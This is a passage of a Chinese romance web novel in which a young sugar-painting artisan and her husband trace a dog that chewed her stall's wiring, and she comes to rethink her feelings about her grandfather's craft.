周景淮闭了闭眼,感觉脑袋更疼了,太阳穴一阵阵发涨:“你刚说,谁送的?” 黎穗盯着那“八个男模”,眼里都像带着光,脱口而出: “我异父异母的亲姐。” 周景淮:“……” 深夜,这条横幅被黎穗小心翼翼收藏在了卧室书架上的收纳盒里。 她想,等她和周景淮离婚的那天,她必须约何潇雨去庆祝,到时候包厢里,这条横幅可以贴着当背景。 没想到第二天,黎穗又从经理那儿接过来一条大红色的横幅。 “咱小区又有人离婚了吗?”黎穗好奇地问。 “什么离婚?”经理把横幅打开,黎穗这才看清里面的字—— 【预祝各位高三考生二模顺利!学业有成!】 黎穗这才想起来,今天是市里各个高中统一二模的日子。 经理看了看人员表,安排道:“小黎,你跟小吴去把横幅挂入口的大道旁边,注意美观啊。” “行。”俩人异口同声。 小吴也来这小区当保安不久,初出茅庐的小男生,皮肤黝黑,操着一口不太标准的普通话,看起来十分和善。 抱着横幅往门口走,他轻声感叹:“这里的小孩子真幸福啊。” “什么?” “我每天在大门口站岗,都能看到穿着校服的小孩子,车接车送。”小吴点了点怀里的横幅,眼里带着肉眼可见的羡慕,“你看看,高考就算了,连模拟考都有人帮着提前庆祝。哎,说起来,我那时候高考要是再努力点就好了,就能去清北了。” 黎穗停下脚步,惊讶地睁大了眼睛:“这么牛?!” 黎穗想,果然世界就是一个巨大的扫地僧组织,身边处处是大神啊。 “嗯,差四分。”小吴说,“清北分数线654,我考65。” 黎穗:“……” “不过这不是我正常水平,我就考了一门,中午睡个午觉睡过头,错过了第二门。”小吴挠挠脑袋,“我爸说就我这脑子,就别浪费后两天的打车钱了,所以后两天索性没去,进厂打工了。” “我爸说,人家是老天爷赏饭吃,我是老天爷赏厂进。” 黎穗忍俊不禁,又听到小吴问:“经理说你是名牌大学毕业,来体验生活的,那你高考一定考得很好吧?” “还好。”黎穗半开玩笑似的说,“不过跟你一样,我也差点错过一门考试。” “你也睡过头了?” “不是,最后一门考试前,被人关洗手间里了。” “还有这么没素质的人啊?”小吴瞪大了双眼,义愤填膺,“那你最后怎么出来的?” “神兵天降,救了我咯。”黎穗嗓音淡然,让人有些分不清这到底是开玩笑还是真的。 “你不会是骗我的吧?”小吴把横幅的一端递给她。 黎穗笑笑不语。 俩人各自往后退,将横幅上的绳头系在树干上,很快被其他事情转移了话题。 八点,准时下班。 黎穗揉着酸疼的腰推门而进,奇怪的是,今天大圣竟然没有在门口接她。 小孩儿太安静,必定在作妖。 黎穗顿感不妙。 果不其然,黎穗在卧室里找到大圣时,它正在挥舞着爪子奋力拆家。 书架底层的东西,几乎都被翻出来,书籍、相册、玩偶撒了一地,大圣正颇有兴致地用爪子压着眼前的狐狸玩偶,像是成功征服了敌人的将士,昂首挺胸。 比起其他动不动拆家的狗,大圣拆家的频率已经挺低的了,今年也就拆了那么三四五六次。 “不气不气。”黎穗抚摸着心口,微笑着安慰自己,“这两天太忙了,忘了遛,狗狗精力太旺盛无处宣泄,也是可以理解的,不气不气。” 然而下一秒,她就看到了那被撕裂的横幅。 她的八个男模,下半部分被啃咬,变成了八个田模。 “……”突然就充满了乡土气息。 是可忍孰不可忍。 “黎大圣!!!”黎穗抓着头发怒吼一声,冲了过去,“你完蛋了我跟你说!” 大圣也是眼力见十足,见状,立刻缩到了床底,探出半个脑袋,可怜巴巴地看着。 黎穗最受不了它这眼神,怒气顿时灭了大半。 她蹲下认命地捡起散开的书籍,一本本放回原位。 大圣跟着她走来走去,直到她停下,它也乖乖地蹲在一旁。 地上还掉落着一本相册,是高三的时候,何潇雨送她的生日礼物,但黎穗不是很喜欢拍照,所以这几年,相册里的照片依旧没几张。 黎穗拿起来翻了一页,最先看到的,就是她和爷爷的合照。 那是在爷爷的糖画摊前,顾客帮他们照的,照片里的爷爷,手里拿着一副刚画好的龙,笑容和蔼,满目和善。 下面那张,则是高三下学期,谈霄在学校篮球场打篮球的照片。 谈霄和她身世相仿,自小跟着奶奶长大,奶奶去世之后,他的全部学费,几乎都是靠自己打工赚的。 但不一样的是,黎穗在学校和大部分人都处得不错,而谈霄,却孤僻阴沉,是不少人忌惮的对象。 就连爷爷,不知为何也不太喜欢她和他来往。 所以怕学校里的风言风语传到老师的耳朵里,进而被爷爷知晓,俩人从来不在同学们面前表现出任何认识的迹象,知道他俩有交集的人,屈指可数。 就连看他打篮球,黎穗也不是光明正大的,而是偷偷拿着他的手机,混在了一群女生中间。 很多人都在拍,所以她丝毫没有引起别人的注意,也就成功地拍下了这张照片。 照片里的谈霄处在几位队友中间,面容冷淡,眼神凌厉,比起说在打篮球,不如说,他是在用打篮球的方式发泄怒气。 这样的谈霄,曾经她心疼过、或许也爱慕过,但现在再看,心里却揉杂了太多难以描述的情绪。 黎穗正犹豫着要不要把照片抽出来扔掉,视线扫过角落,却不由顿住。 这是? 黎穗眯了眯眼睛,看向谈霄身后,那走出教学楼的身影。 周景淮?? 他怎么会在她拍的照片里? 哦对,黎穗想起来了,那天是家长会,爷爷身体不好,周景淮被周芷玉强迫着来充当她的家长。 她当时看到了他,于是立刻偷偷把手机塞回谈霄扔在一旁的校服口袋里,跑到他面前,好奇问老师有没有跟他说什么。 周景淮说,老师什么都没说。 黎穗暗暗松了口气,却不想他单手插着兜,扫了眼不远处的篮球场,又不甚在意地提醒了一句: “要早恋的话,藏藏好。” 现在想来,周景淮这张嘴不仅毒,还毒奶。 黎穗撇撇嘴,又改变想法,把照片塞了回去。 就在此时,一旁的大圣突然“汪汪”两声。 大圣的性子向来温和,不喜欢叫,这是怎么了?发现它的目光停留在这一页相册上,黎穗顿悟。 “你也想爷爷了吗?”黎穗摸摸它脑袋,把相册合上,故作凶狠地按着它脑袋警告,“别想靠爷爷求情,下次再敢拆家,我就……我就让周景淮亲你一口,毒死你。” 黎穗哼哼两声,起身换下保安服,还没来得及收拾那看起来惨兮兮的横幅,门口突然传来周景淮的声音:“遭贼了?” 黎穗怒瞪他一眼,指着那条横幅:“是不是你指使的大圣?” 周景淮这才注意到那“八个田模”。 “这说明了什么?”周景淮的眉梢微微一挑,语气非常欠揍。 “说明你那八个男模,狗都看不上。” * 黎穗的保安工作只做了三天,因为甲流请假的员工纷纷到岗,她也就功成身退了。 虽然说着可以不要工资,但经理还是大方地给她结算了。 每天两百,一共六百。 这么一笔意料之外的飞来横财,黎穗不花掉都觉得对不起这三天的暴晒。 于是第二天,她就拉着何潇雨出去大快朵颐。 餐厅是何潇雨之前就种草的一家中餐厅,正是中午用餐高峰,大厅里觥筹交错,好不热闹。 何潇雨卷起一口面,还没来得及吃又放下,拉过黎穗的右手细看那已经恢复得差不多的伤口:“这会不会留疤啊?” “随便吧。”黎穗耸耸肩,不太在意,“我爷爷手上各种疤,也没管过。” “我说你一大美女,怎么对自己这么糙啊,我记得你们市集对面就有药店吧?记得去买个祛疤膏。”何潇雨叮嘱完才松开她的手,又问,“你晚上还去开店不?” 黎穗夹了块糯米藕,甜滋滋的味道,让人心情大好:“开啊。” “干嘛不索性休息几天?” “最近靠写字,好不容易生意好一些了,能赚一点是一点。” “你不是说你不喜欢糖画吗?”何潇雨忍不住笑,“但我怎么感觉,你最近越来越努力了?” 黎穗突然被问住了,但很快,她又觉得这问题没必要细想。 “因为赚钱了吧,钱就是努力的动力。”这也是她过去几年兼职一直坚持的准则。 “得了吧,我看啊,你就是口嫌体……咳咳咳……”何潇雨的话还没说完,却突然被面呛住,咳得满脸通红。 黎穗吓一跳,赶紧给她递了杯水:“你慢点吃。” “那……”何潇雨指着不远处,一边咳一边用气音提醒: “你老、老公和一个美、美女……” 10、第 10 章 “哪儿?哪儿?” 一闻到瓜的味道,黎穗立刻八卦地顺着何潇雨指的方向看去,果不其然看到周景淮和一个美女正站在不远处的电梯口等电梯。 女生的头发被发簪盘起,穿着低调的黑色职业装,但那张脸,却五官立体,明艳得丝毫不低调。 至于周景淮,就更不必说了,走到哪里都是引人注目的皮囊。 大厅里的顾客纷纷回头,不过幸好她们坐得偏僻,而他们又在交谈,看起来并没有注意到这个角落。 “我说,你这个老公,也太不靠谱了吧?上次和美女上热搜,今天和美女吃饭。” “你想多了。”黎穗喝了口水,有种吃了假瓜的无聊感,“谁约会还带文件夹啊,而且俩人之间的距离差不多有半米,我猜应该是秘书或者下属。” 何潇雨看着黎穗,啧啧感慨:“我现在确定,你是真的对周景淮没兴趣了。” “吃你的吧。”黎穗往她嘴里塞了块咕咾肉,堵了她的嘴。 一小时后,空盘行动完美结束。 俩人并肩走出餐厅,何潇雨自己打了车回家,黎穗则准备去不远处的地铁站坐地铁。 刚吃完好吃的,黎穗心情愉悦,连脚步都透着轻快,走到转角处,一辆熟悉的黑色迈巴赫在身旁缓缓停下。 黎穗歪着脑袋,等车窗缓缓降下,看到了一张更熟悉的侧脸。 “上车。” 这些天来,黎穗已经差不多摸清了周景淮的性子,他看起来凡事好商量,但实际上一旦下了决定,谁商量都不好使。 黎穗有理由怀疑,自己拒绝的话,他会下车把自己塞进去。 与其丢脸服从,不如尊贵享受。 黎穗拉开车门,很自如地坐上了副驾驶做。 “你送我到地铁站就好。”正系着安全带的时候,后座突然传来一声轻柔的问候。 “老板娘。” “……”第一次听到这种称呼,黎穗浑身都不适应,她立刻回头,看到了之前站在周景淮身边的美女。 周景淮主动介绍道:“我秘书,孙漫秋。” “你好。”黎穗客套笑笑,“叫我黎穗就好。” 孙漫秋微笑点头。 三个人的路程,显得有些安静,眼见着车停在了地铁站,黎穗正打算解开安全带,搭在安全带系扣上的右手却突然被周景淮按住。 黎穗不明所以,却听到一声开门声。 身后的孙漫秋已经推门下了车,俯身朝她挥挥手:“拜拜~” “拜……”黎穗那手甚至还来不及抬起来,车就再次上了路。 黎穗不解道:“你不回公司吗?” “回。” “那不顺路啊。” “哪里不顺路?地球是圆的。”周景淮骨节分明的手握着方向盘,熟练地将车拐进中央大道。 “……”黎穗一时无语,竖起右手大拇指,憋出一句夸赞,“你地理学得真好。” 在黎穗一路的配合中,迈巴赫在市集南门外缓缓停下,周景淮的右手搭在方向盘上,手腕上的黑色手绳,被路灯的昏黄光亮包裹,跟什么高端独家定制似的,一点看不出只要35块。 像是想起什么,他从口袋里掏出一个小盒子,递到了黎穗面前。 黎穗低头一看,全是外国文字,甚至不是英语:“这什么?” “孙秘书推荐的,听说对祛疤很有效。”周景淮扫了眼她的手背,“记得涂。” 黎穗怔了怔才伸手接过,极其不熟练地挤出一句:“谢谢。” 周景淮倒是没有在意,又问:“明天晚上在店里吗?” 黎穗把那小小的盒子塞进口袋:“应该在,怎么了?” “周景丞吃了你上次做的,说还想吃,我明天带他来。” “上次?”黎穗回忆片刻没找出答案,“我什么时候给他做过?” “你的草书作品。” “……”原来那副糖画,被周景丞吃了。 虽然平日里没怎么见周景丞吃过糖,但黎穗多少有些欣慰,可算找到了周景丞像小孩子的一面。 她一口答应。 这回安全带解得十分顺畅,但黎穗还没开门下车,周景淮又开口了。 “还有个问题,你可能想问。” 黎穗回头:“什么?” “孙漫秋之所以成为我的秘书,是因为,她是那场招聘上笔试面试双重第一的应聘者,于公,我没有不录用她的理由。” 黎穗顺口接了一句:“于私呢?” 周景淮目光沉着,坦然道:“没有于私。” “哦。”黎穗点点头,下了车。 沿着鹅卵石小径一路往里走,黎穗总觉得有什么地方不对劲。 半途,她突然停下脚步,疑惑地挠挠头。 不对啊。 她什么时候想问了? 关她屁事啊? * 翌日,兄弟俩果然来了。 夜色下,周景淮穿得非常随意,白色的宽松t恤和黑色休闲裤,额前吹落着几缕碎发,右手搭在弟弟的肩膀上,勾着一抹淡淡的笑意。 而周景丞背着手,面无表情,宛如老干部巡查。 “进来吧。”黎穗一边戴手套,一边问,“姐姐只会画十二生肖,要给你画只老虎吗?” 她记得,周景丞是属老虎的。 “我要写字。”周景丞说。 “也可以啊,写什么?” “岁月静好。” 这个词,黎穗上一次看到,好像是在周芷玉的朋友圈里。 黎穗嘴角一抽,这小孩儿,到底几岁啊?怎么取向这么……成熟? 但黎穗没有评价,大手一挥,很快完成了这幅糖画。 周景丞接过,又说想去其他地方逛逛,周景淮也没有阻拦,随他去了。 黎穗倒是有些担心:“你要不要陪着一起啊?他一个小孩子,万一被拐什么的……” “他不拐别人就不错了。” 黎穗看着那沉稳又淡定的背影,心想,确实,与其担心周景丞,不如担心一下另一件事。 黎穗默默从一旁的抽屉里取出一个口罩递给他:“你要不……戴上?” 周景淮的视线往下一扫,右手却插在裤兜里,完全没有接的意思:“我长得很丢你脸?” “倒也不是。”黎穗压低了声音,“你不是前阶段才上过热搜嘛,虽然几率不大,但万一有人认出你。” 周景淮到底还是听话地把口罩戴上了。 “老板?请问能画龙吗?”身后突然传来一道甜甜的嗓音。 “可以的!”黎穗立刻转回身,双眸弯成了月牙,“简单款六元,复杂款十一元。” “我就要六元的吧。” “好。”黎穗用铜勺舀起糖浆,全神贯注地在石板上作画。 因为全程低着头,黎穗并没有注意到女生的眼神正若有似无地停留在她身后的周景淮身上,直到头顶传来女生低声的询问:“请问那个帅哥,是你男朋友吗?” 黎穗把糖画交给她,回头一看,周景淮正悠闲地靠坐在角落的木椅上玩手机,黑色口罩其实并不能遮挡一个人的颜值,反而多了种犹抱琵琶半遮面的意味。 黎穗欲言又止,最后还是摇了头:“我表哥。” “难怪你俩看起来有点像。” ? 黎穗不服:“那我可比他好看多了。” 女生笑了笑,俯身压低声音问:“哎,你表哥单身吗?” 这她该怎么说?说单身显然是骗了人家,但说已婚,万一周景淮也觉得这女生合眼缘,那她岂不是耽误了一段姻缘? 黎穗嗓子里仿佛噎了团棉花,半晌挤出一句:“他……目前是已婚。” “啊……”女生遗憾似的拖着调。 “但是过段时间可能就离了。”黎穗有商有量的,轻声安慰道,“你要是不嫌弃二婚男的话,要不隔两个月再来?” “……” * 周景淮没有听到俩人的轻声细语,正百无聊赖地玩着游戏,手机上突然跳出一条消息。 周景丞:【哥,想买这个。】 底下的照片里,是一套故宫角楼模型,做得非常精致,价格显然不低。 周景淮:【跟妈说。】 周景丞又发过来一张照片,是刚才黎穗画的那副糖画。 周景淮:【?】 周景丞:【我给你和姐姐起的cp名,你要吗?不要我就吃了。】 “……” 周景淮:【转账10000.00元。】 周景丞收了钱就跑,根本没有回复他的消息。 这小子。 周景淮点开图片,但还没等他看清楚,“啪”一声,店里突然陷入黑暗。 黎穗吓一跳,本能地朝外看,但其他店都依旧灯火通明,看起来,应该只是自家店里的线路问题。 两个月来,黎穗从没遇到过这样的事情,她放下手里的勺子:“我出去看看。” 还没等周景淮回应,黎穗就跑了出去,打开手机上的手电筒,打算绕到店后面看看线路。 过道里没有灯,手电筒照射范围外黑暗得不见五指,黎穗正缓步前进,下一秒,胳膊突然被人攥住。 黎穗吓一跳,猛然转身,手电筒从下往上,照在周景淮的脸上。 饶是再帅的一张脸,此刻也变得令人后背发凉。 “啊!”黎穗惊恐地往后退,一时忘了身后就是墙壁,脑袋差点直直撞上,幸好周景淮未卜先知似的,右手扶在她脑后,当了回靠垫。 黎穗惊魂未定:“你怎么过来了?” “凑热闹。” 周景淮收回手,绕到屋后,果不其然,电箱不知为何打开着,一根黑色的电线断成了两截。 他蹲在草地上,拿着她的手机照向断裂处,细看了会儿。 “不像自然断裂。” “被人剪断的?”黎穗脑海中闪过无数种可能,“会不会是上次的油腻男报复?或者是,肮脏的商战。” “也不像是剪的,等会儿调监控吧。”周景淮转过头,悠闲地敲着竹竿。 “便宜价,五十,先给你修了。” 11、第 11 章 “便宜价,五十,先给你修了。” 面对这种敲诈,黎穗痛心疾首:“你是不是人,比之前我爷爷找的师傅还贵二十。” “一分价钱一分货。”周景淮起身,拍了拍手上的灰。 “现在就去调监控!我才不出这五十。”黎穗抓着他就走。 然而监控显示,在断电前的一小时内,都没有任何人进入过那片区域。 唯一的“光顾者”,是一只小狗。 可惜,由于太过昏暗,完全看不清小狗的长相,只隐约能看到,狗脖子上系着一根牵引绳,看起来应该不是流浪狗。 虽说冤有头债有主,如果真是被家养狗咬断的,那维修的费用自然要找狗主人要。 但这乌漆嘛黑的…… 连一旁的保安也忍不住劝道:“凭这,怎么找啊?不然就吃点亏算了吧,有这找的时间,都赚回来了。” 黎穗犹豫片刻,刚想答应,却听到周景淮问:“电脑可以借用一下吗?” “啊?” 对于周景淮的要求,保安不理解,但俩人刚来的时候,市集负责人就打来过电话,让他全权配合,所以他很快点头:“当然可以,您随便用。” 黎穗不明所以地看着周景淮拉开椅子,不知道从哪儿下了一个看不懂的软件。 很快,电脑屏幕上的监控截图,慢慢变得清晰,小狗的样貌被逐渐还原——是一条棕黄色的中华田园犬。 随即,不同监控素材被导入,屏幕切出若干小窗口,随着下方代码不断变动,九个不同位置的监控视频几乎同时定格。 每个小画面右上角显示着不同时间,但画面中心的主角,毫无意外都是那条小狗。 19:20它进入了屋后,19:28出来。 19:35出现在一家刺绣店门口。 19:42出现在通往南门的小径上。 19:50它跑出南门。 黎穗这才记起来,自己是在哪儿见过这条小狗——在南门口的另一个糖画摊旁。 “兄弟,你好牛啊。”保安拍拍周景淮的肩膀,“你这什么软件啊?” “大学时候跟别人一起搞的小玩意儿。”周景淮一语带过,看向黎穗问,“打算怎么解决?” 黎穗想了想,但凡小狗身后跟着人,她都会觉得这可能是一场肮脏的商战。 但看监控内容,应该纯属巧合。 门口那位奶奶,让她不由想起爷爷,黎穗最终还是软了心。 “算了吧。”黎穗安慰自己,“也没多少钱。” 周景淮便没再说什么。 俩人从保安室回到店门口,却意外地看到那位奶奶正牵着“肇事狗”四处张望。 看到她,奶奶立刻迎了过来,抱歉地伸出手,手心里是一截包裹在电线外的蓝色保护软管。 “不好意思啊,我刚看旺旺叼了一截这回来,我就猜它大概又是咬了哪里的电线,进来一看,果然有一家断电了。” “奶奶。”黎穗有些惊讶,“您知道我是这家店的老板?” 奶奶笑笑:“你爷爷还在的时候,我们经常遇到,他总跟我提起你,还给我看过照片。糖画现在没什么年轻人爱做,你能继承下来,你爷爷一定也很开心。” 明明算是竞争对手,但在眼前老人的眼睛里,黎穗看不到丝毫对手间的戒备,有的,只是满满的欣慰和期待。 于一些心怀热忱的老一辈手艺人而言,似乎赚钱并不是第一位,有人做,才是第一位。 看着眼前老人慈祥的面容,黎穗一瞬间有些鼻酸。 “你看看修电线要多少钱?”奶奶从口袋里掏出一个略显老旧的红色钱包,里面放着一些纸币,她低头挑选,拿了其中唯一的一张百元大钞。 “你看这够不够……” “不用这么多的。”黎穗从里面抽了一张十块钱,“这就够了。” “这够了?你放心,奶奶摆摊是因为没事干,不缺钱的。” “真的够了。”黎穗安慰她道,“我有认识的电工师傅,能给我便宜价修好。” “那就好,那就好。”奶奶牵着狗绳,又一次道歉,“真的太不好意思了……” “没事的。” 黎穗送走了奶奶,却发现周景淮正目光沉沉地看着她。 她瞪他一眼:“干嘛?” “还以为你不会收她钱。” “为什么不收?损人财务,赔偿是应该的,而且我不收钱,她估计也不安心。” 黎穗从自己口袋里掏出两张二十,加上奶奶给的十块,豪气地甩他手里,扔下一句:“来!周师傅!请开始你的表演!” 周景淮:“……” * 折腾这一遭,店里重新亮起灯时,已经闭市了。 黎穗核算了一下今天的营业额,接近三百,在只营业了大概三个小时的前提下,已经算很好了。 她收拾好工具,看着空荡荡的小径,才想起:“丞丞呢?” 周景淮说:“让司机送回去了。” “哦。”黎穗拿起钥匙,食指勾着环,转了一圈,“那你今天,就跟我体验一下步行回家的快乐吧!” 周遭的店铺黑了大半,路旁彩灯却依旧光影绰绰,可能是因为心情好,连带着月色似乎都变得温暖。 四周很是安静,路上除了个别店铺老板以外,没有任何游客,但也因此,地上散落的垃圾清晰可见。 “怎么每天都有这么没素质的人啊,垃圾桶就几步路都懒得走,这种黏糊糊的东西让我怎么搞!多少次了!” 黎穗顺着声音望去,不远处的保洁阿姨正蹲在地上,骂骂咧咧地用铲子收拾着地上的垃圾。 作为咸鱼老板,黎穗这是第一次在闭市后回家、第一次知道原来保洁阿姨会在闭市后的深夜来打扫。 自然,也是第一次,听到这样的抱怨声。 黎穗顺道捡起了脚边的一个塑料袋,跑过去想扔垃圾桶里,低头一看却发现,阿姨正费心铲除的“垃圾”,正出自她手下。 一个大大的“张”字,一半碎裂,一半已经因为炎热融化成了糖浆,黏在鹅卵石上,被不知道多少人踩踏过,成了黑乎乎的一团。 那一刻,黎穗突然僵住了脚步。 她的脑海中,响起了这些天听到的一些路过游客的对话。 “不就是写字吗?回去熬点糖浆,我都会写。” “我觉得门口那个小摊画得好像更好,要不我们去买那个吧?” “哎呀,这东西不就是买来拍个照发朋友圈的嘛,还真有人吃啊?全是糖,太不健康了。” …… 黎穗愣愣定在原地,直到眼前突然变黑。 周景淮的右手,捂住了她的眼睛。 再放开时,保洁阿姨已经拎着垃圾袋离开,地面上干净得一如平时。 氛围一下变冷。 黎穗低着头沉默不语,直到听到周景淮温声问:“你是不是在想,为什么明明觉得只要赚到钱就行,可是看到糖画被扔掉、被踩踏,还是会觉得难过?” 黎穗惊讶抬头:“你怎么知道?” 她的确一直觉得,钱货两讫,至于顾客如何处理这些糖画,并不在她的考虑范围里,但是这一刻,黎穗心里有一道强烈的声音响起。 它们本不该是垃圾的。 她曾见过爷爷画的糖画,虽然买的人少,但每一位顾客眼里的惊艳不是假的,或许,是因为她画得不行,才使它们成为了拍照留念后就随意丢弃的快消品。 周景淮拉着她在旁边的长椅坐下,轻风拂面,却吹不散黎穗头上的乌云。 “黎穗,你为什么不喜欢糖画?” 不喜欢的印象,像是刻在脑子里,可是是什么时候刻上的?黎穗想了许久才找到答案。 “应该是……六七岁的时候吧,爷爷在公园里摆摊,没人的时候就会按着我的手教我画。我每天看着小朋友成群结队地在草坪上玩,其实心里也想去,但又怕爷爷失望,所以就只能强压着期盼,画着我觉得非常无聊的十二生肖。那时候我越看它们,就越觉得讨厌。”黎穗叹了口气,“后来渐渐长大,倒是没这么讨厌了,就是还是觉得兴趣不大,因为我觉得这只能当个兴趣,赚不到钱。” “但是人在面对危险的时候,避让是本能反应,那天,你为什么宁愿受伤也要接住?如果钱那么重要,为什么不要赔偿,反而要求对方吃完?” 黎穗被问愣了,这些天来,她从来没有在意也没有思索过这个问题。 她无法回答,就像她也无法回答,为什么此刻会失落一样。 难不成,真的如何潇雨所说,她纯纯口嫌体正? “周景淮。”黎穗偏过头看他,月光在她眼睛里,洒下了细碎的光,宛如易碎的黑曜石,“你说,喜欢做一件事情,是什么感觉?我做过很多工作,但都是为了赚钱,好像从来没有感受过喜欢的感觉。” 周景淮勾了勾唇,不答反问:“想吃海鲜面吗?” “啊?” 黎穗不理解,但黎穗确实想吃。 都怪上次点的那个外卖,给她造成心理阴影了,她之后都没敢点。 她点点头:“想。” 周景淮握着她的手腕起身:“走吧。” “现在?”黎穗看了眼手机上的时间,“但是已经十点半了哎。” “那又怎样?”周景淮脚步加快,声音干脆又笃定。 是啊,那又怎样! 吃想吃的东西,何必在意时间。 黎穗感觉脑袋上的乌云,被拨开了大半,她小跑着跟在他身后,眼见着他打了车,带她去了一家中餐厅。 餐厅提供夜宵,因此还没关门,里面觥筹交错,肆意闲聊,充满着人间烟火气。 周景淮大概和老板打过招呼,服务生很快把他们带上了二楼的包厢。 黎穗拆开筷子,期待地搓了搓掌心,面上桌的一瞬间,香味四溢,黎穗的肚子很适时地叫了一声。 清亮的汤面上铺满了虾仁和花蛤,再配上大大的梭子蟹,令人胃口大开。 黎穗先吃了口虾,见周景淮也夹起一个,她突然想起张姨的话。 “你之前是不吃海鲜吗?” “嗯。” “那现在怎么吃了?” “之前不吃,不是不喜欢吃,是因为没怎么吃过,自己觉得兴趣不大。”周景淮勾了勾唇,“最近吃了几次后觉得,还不错。” 黎穗不确定,周景淮这句话,是不是意有所指,但对于她来说,这简简单单的一句话,的确有些拨云见日的意味。 她突然想,她对于糖画,会不会也是如此? 不是不喜欢,只不过她根本没有好好去了解过,就因为曾经的小孩儿脾气和一些刻板印象,给了自己“不喜欢”的心理暗示。 不知不觉,一碗面下肚。 黎穗还在回味着那股鲜香,就听到周景淮说:“现在感受到喜欢做一件事,是什么感觉了吗?” 黎穗愣了愣,反应过来后又有点明白了。 喜欢,或许很简单,就像想吃一碗面,从半路就开始期待,吃的时候什么都不想,满心都是眼前的它。 “但是,吃东西是休闲是享受,糖画是工作,谁能享受工作啊?”黎穗抽了张纸巾,慢吞吞地擦着嘴角。 “如果不当它是工作呢?”周景淮伸手帮她倒了杯水,“黎穗,你不是当初的小朋友了,不用当它是爷爷留下的责任、不用把自己架到文化传承的高度、更不用把它当作必须做的事,单纯只当一个兴趣,去试试享受它?” 试试享受它? 这五个字,在黎穗脑海中不断环绕,慢慢变得清晰而笃定。 是啊,现在已经不是五六年前。 她没有了经济压力,她其实完全可以慢下来,去试着找找,自己真正想做的事情是什么。 黎穗从来没想过,这些压在她心里不曾很谁分享过的纠结、烦恼,有一天居然会被她分享给周景淮。 但比起这,让她更惊讶的是周景淮的态度。 不知道是不是温柔的灯光迷惑了氛围,黎穗总觉得,今天晚上的周景淮,也温柔到不可思议。 接近零点,俩人才走出餐厅。 扑面而来的晚风,瞬间把她从刚才那种只有两个人的世界里拉了出来,黎穗偷偷觑了他一眼。 跟心有灵犀似的,周景淮也看了过来,似乎在问:怎么了? 黎穗的食指关节蹭了蹭鼻尖,低声问:“你这两个月,是去上了什么平心静气禅修班吗?” 周景淮气笑了:“什么?” “不然为什么,脾气突然变这么好?好到我都有点不习惯了。” 周景淮投来一个看傻子般的眼神。 黎穗莫名松了口气。 “……谢谢,这下习惯了。” 12、第 12 章 黎穗给了自己一个上午的时间,去测试自己能否享受画糖画这件事。 不局限于传统图案,她想画什么就画什么。 白色的石板上很快出现了一些乱七八糟的东西:哭唧唧流着眼泪的小狗、不算规整的小猫爪,还有她自己觉得画得最成功的一坨便便。 灼热的糖浆再次缓缓流下,先是一个圆,画出眼睛和嘴巴,然后是头顶的三根毛,再是圆鼓鼓的腹部和四肢。 在画最后一笔时,周景淮的右手撑上餐桌,低头欣赏了一番。 黎穗指向石板上的图案,表情嘚瑟:“你猜,这个作品叫什么?” 周景淮:“中年三毛。” “不。”黎穗伸出食指,在他面前晃了晃,“这叫,三十年后的你。” 周景淮没什么反应,拿过她手里的铜勺:“我试试。” 黎穗起身给他让座,还难得贴心地抬着他的手腕,告诉了他基本的手部操作要求。 但初次上手,周景淮很明显把握不准勺子倾斜的角度,不是太少就是太多,黎穗恨铁不成钢,索性把掌心贴在了他的手背,微微使力。 “差不多这个位置,然后你慢慢移动。” “这样?”周景淮学得不行,但态度倒是十分端正。 先画了一个半圆,底下横线封口。 然后又在横线上画了一扇小门。 见他停下,黎穗愣了愣:“这就好了?” 周景淮:“嗯。” “这是啥啊?寿司?土房子?” “这个作品叫——”周景淮站起身,欠嗖嗖丢下一句,“一百年后的我们。” 黎穗嘴角一抽。 哦,是坟墓。 这个上午,在俩人的插科打诨下,过得尤其快,黎穗一抬头,惊讶地发现自己已经画了三个小时。 她记得之前看到过,在心理学上有一个名词叫心流,大概是指人在做某些事情的时候会投入忘我,甚至达到忘记时间的状态。 黎穗以前也有过类似感受,比如在打游戏的时候。 但她从来没想过,自己有一天能在画糖画的时候感受到这种状态。 甚至,抛去束缚和界限,她没有了往日歇业时的疲累,反而有种还能再画几个小时的亢奋感。 唯一遗憾的是,自学出来的成品,线条不够流畅、衔接有问题、整体不够美观……实在达不到能给外人看的程度。 对此,周景淮给了她一个真诚的建议:去南门偷个师。 “文化人的事情,怎么能叫偷呢。”黎穗一边往南门走,一边给自己肯定,“这叫学术交流。” 摆糖画摊的奶奶还坐在树荫下,专心致志地帮眼前的一对母子画着糖画。 棕黄色的小狗依旧惬意地匍匐在奶奶脚边,享受着傍晚的凉风。 黎穗排在那位妈妈身后,目光聚集在纯白色的石板上。 随着奶奶的右手快速移动,不到二十秒,一个生动形象的奥特曼就出炉了,他双腿叉开站立、左手握成拳、右手高高举起,做着迪迦奥特曼变身后的经典动作。 奶奶小心翼翼地把竹签压了上去,递给眼前的小男孩。 没有一个男孩子能不爱奥特曼。 果不其然,小男孩爱不释手,双手高高举着,还不忘和妈妈炫耀:“妈妈!是迪迦!迪迦!” “我看你像敌家派来克我的。”妈妈虽然语气嫌弃,付钱时却带着笑意。 “谢谢啊。”她向老奶奶道了谢,牵着儿子的手,从黎穗身边经过,“怎么不吃啊?买了又不吃,尽浪费钱。” “妈妈!这太帅了!我舍不得,我能不能明天带去学校给我同学看看?” “行行行,你说什么都行。” …… 母子渐行渐远,奶奶的视线从他们的背影移动到她身上,很明显愣了下,放下铜勺,尴尬地搓搓手:“是不是修电线的钱不够啊?” “不是不是。”黎穗连连摆手,“奶奶,您能帮我画一幅糖画吗?” “啊?”奶奶或许不明白为什么,但还是笑眯眯地点了点头,“行啊,你想画什么?” 黎穗看着角落的二维码,想了想,又从口袋里掏出一张二十块的纸币放进了纸盒里。 “别。”奶奶拿着钱想还给她,“奶奶送你。” 黎穗婉拒一番,自己根据售价,找了自己九块钱找零:“奶奶,我想画……一株麦穗。” 奶奶并不意外:“你的名字是吧?你爷爷跟我说过,她孙女儿叫穗穗。” “嗯。” 熟能生巧,即便只是随机点的主题,奶奶依旧画得如鱼得水。 等把那株弯着腰的麦穗拿到手里,黎穗不由惊叹,那一颗颗麦粒,均匀饱满,充满着盎然的生机。 她突然想起爷爷曾经跟自己说的话。 他说,种地用不用心,来年的麦穗会告诉你答案,这就是她名字的来源。 黎穗想,那么糖画用不用心,或许,顾客的态度,也已经告诉了她答案。 一种前所未有的挫败感袭上心头。 可是那其中,却又好像掺杂着一些难言的情绪,连黎穗自己都说不清。 她向奶奶道了谢,转身刚想走,却又突然被对方喊住。 “穗穗。” 黎穗疑惑回头。 奶奶一边收拾着工具,一边说:“我差点忘了,你爷爷之前有些东西留在我这儿了,你要有空的话,等我一会儿?” 